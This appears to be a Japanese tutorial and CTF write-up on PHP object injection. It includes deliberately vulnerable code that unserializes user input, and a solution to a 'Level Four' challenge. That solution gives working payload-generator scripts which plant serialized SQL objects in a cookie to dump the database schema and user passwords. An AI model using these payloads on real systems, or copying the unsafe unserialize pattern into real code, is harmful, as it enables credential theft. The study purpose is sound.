PHPオブジェクトインジェクションについて
そもそもPHPオブジェクトインジェクションとは?
SQLインジェクションが外部からSQL文を注入する攻撃であるのと同じように、オブジェクトインジェクションとは外部からオブジェクトを注入する攻撃です。 引用
※今回の記事は、以下を参照しつつこれを自分の手で実証していく
PHP Object Injection Attack / PHPオブジェクトインジェクションの攻撃 - INT 4: HACKER
PHPのunserialize関数に外部由来の値を処理させると脆弱性の原因になる
まず実証を行っていく
実証環境
- linux
php5.3
このためにイメージを用意するのは、大変だと感じたため徳丸本のvirtualboxを利用しました。
本編
まず二つのphpファイルを用意する。
- Hello.php
- index.php
Hello.phpはHello classを収納している。
またindex.phpは、そのphpを取り込んでいるが、実際にはそのHelloクラスをインスタンスとして生成はしていない。
Hello.php
<?php class Hello{ private $name; public function __construct($name){ $this->name = $name; $this->greeting='hey!'; } public function __destruct() { echo "hey!".$this->name; } } ?>
index.php
$_GET['greet']でユーザからのクエリを受け取る。
<?php require "Hello.php"; unserialize(base64_decode($_GET['greet']); ?>
ここで注目してほしいのは、index.phpにおいては直接Helloクラスのインスタンスを生成するような処理を行っていないところ。
次に重要となるのが、ユーザからの変数をデシリアライズするという挙動 つまり、$_GET['greet']にあるようにユーザからのパラメータを受け取り、デシリアライズする仕様となっている。
greetパラメータで攻撃文字列を送信すると、インスタンスが生成されて、そのデスクトラクタを自動的に起動することとなる。
ここで送る攻撃文字列は、インスタンスの情報をシリアライズ化しbase64でエンコードしたもの。
そうすると、下にあるように、インスタンスが生成されてそのデスクトラクタが動き、hey tarooと表示されることとなる。 これが、php object injectionである。
そもそものserializeの用途について
通常phpでは、配列をクッキーにそのまま保存することができない。
これをシリアライズ化して一つの文字列として扱うことで、クッキーにうまく保存している。
O:3:"SQL":1:{s:5:"query";s:38:"SELECT password AS username FROM users";}
対策
php 7.0からはこの自動的な生成に関してはphp側で対応されている。
しかしながらjson_decode ,json_encode を利用するのが、様々記事を参照すると現状一般的と思われる。
解法
では、このようにクラスを宣言しているphpとそれを取り込んでいるphpのソースコードが与えられた場合にどのようにPHPオブジェクトインジェクションを解けばよいのか。
それはまず、自分の環境でserialize関数等を利用できる環境を用意することが、必要となる。その環境が無いという場合は、下記をお勧めする。
今さら聞けない!XAMPPをインストールする方法【超初心者向け】
簡単に行う場合はpaiza.ioでも十分である。
全体的な流れ
この流れを実行するのが下のコードとなる。
<?php require "Hello.php"; $greet = new Hello('taroo'); echo serialize($greet); echo "<br>"; echo base64_encode(serialize($greet )); echo "<br>";
そして、このbase64でエンコードされた値を、本サーバの方でクエリパラメータとして飛ばせば、最初の画像のようにクラスのデスクトラクタが自動的に作動する。
CTF解いてみる
解説してくよ
- index.php
このファイルでは、SQLクラスを利用して、クエリ文を代入している。 また、ユーザのクッキー内にあるシリアライズ化された文字列を取り出して、デシリアライズしている。
<?php include 'connect.php'; $sql = new SQL(); $sql->connect(); $sql->query = 'SELECT username FROM users WHERE id='; if (isset ($_COOKIE['leet_hax0r'])) { $sess_data = unserialize (base64_decode ($_COOKIE['leet_hax0r'])); try { if (is_array($sess_data) && $sess_data['ip'] != $_SERVER['REMOTE_ADDR']) { die('CANT HACK US!!!'); } } catch(Exception $e) { echo $e; } } else { $cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ; setcookie ('leet_hax0r', $cookie, time () + (86400 * 30)); } if (isset ($_REQUEST['id']) && is_numeric ($_REQUEST['id'])) { try { $sql->query .= $_REQUEST['id']; } catch(Exception $e) { echo ' Invalid query'; } } ?> <!DOCTYPE html> <html> <head> <title>#WebSec Level Four</title> <link rel="stylesheet" href="../static/bootstrap.min.css" /> </head> <body> <div id="main"> <div class="container"> <div class="row"> <h1>LevelFour <small> - Cereal is nation</small></h1> </div> <div class="row"> <p class="lead"> Since we're lazy, we take advantage of php's garbage collector to properly display query results.<br> We also do like to write neat OOP. You can get the sources <a href="source1.php">here</a> and <a href="source2.php">here</a>. </p> </div> </div> <div class="container"> <div class="row"> <form class="form-inline" method='post'> <input name='id' class='form-control' type='text' placeholder='User id'> <input class="form-control btn btn-default" name="submit" value='Go' type='submit'> </form> </div> </div> </div> </body> </html>
このファイルでは、SQLクラスが定義されている。 また、デスクトラクタ内でSQLの実行を行っている事が分かる。
<?php class SQL { public $query = ''; public $conn; public function __construct() { } public function connect() { $this->conn = new SQLite3 ("database.db", SQLITE3_OPEN_READONLY); } public function SQL_query($query) { $this->query = $query; } public function execute() { return $this->conn->query ($this->query); } public function __destruct() { if (!isset ($this->conn)) { $this->connect (); } $ret = $this->execute (); if (false !== $ret) { while (false !== ($row = $ret->fetchArray (SQLITE3_ASSOC))) { echo '<p class="well"><strong>Username:<strong> ' . $row['username'] . '</p>'; } } } } ?>
1.まずsqliteからテーブル情報をもらう。
しかしながらソースコードであるように,usernameがカラム名でないと取得できない。
ここでAS句を用いて命名を利用する
echo '<p class="well"><strong>Username:<strong> ' . $row['username'] . '</p>';
つまり、シリアライズ化するための攻撃文作成用phpは下記となる。
<?php // Your code here! class SQL { public $query = 'SELECT sql AS username FROM sqlite_master'; } $kai = new SQL(); echo base64_encode(serialize($kai)); ?>
これで得られたbase64の文字列をクッキーにセットして[GO!]をクリック!
2.得た情報を基に攻撃文を構成する
するとテーブルの情報が分かった
それでは、テーブルからpasswordのカラムを指定して、重要な情報と思われる部分を抜き出そう。先ほどの繰り返しを行い、攻撃用文字列を生成する。
<?php // Your code here! class SQL { public $query = 'SELECT password AS username FROM users'; } $kai = new SQL(); echo base64_encode(serialize($kai)); ?>
ここで得られた文字列をcookieにセットすればフラグが得られます \(^_^)/ ところで次回は、CSPについてやっていこうと思います。(タブンネ)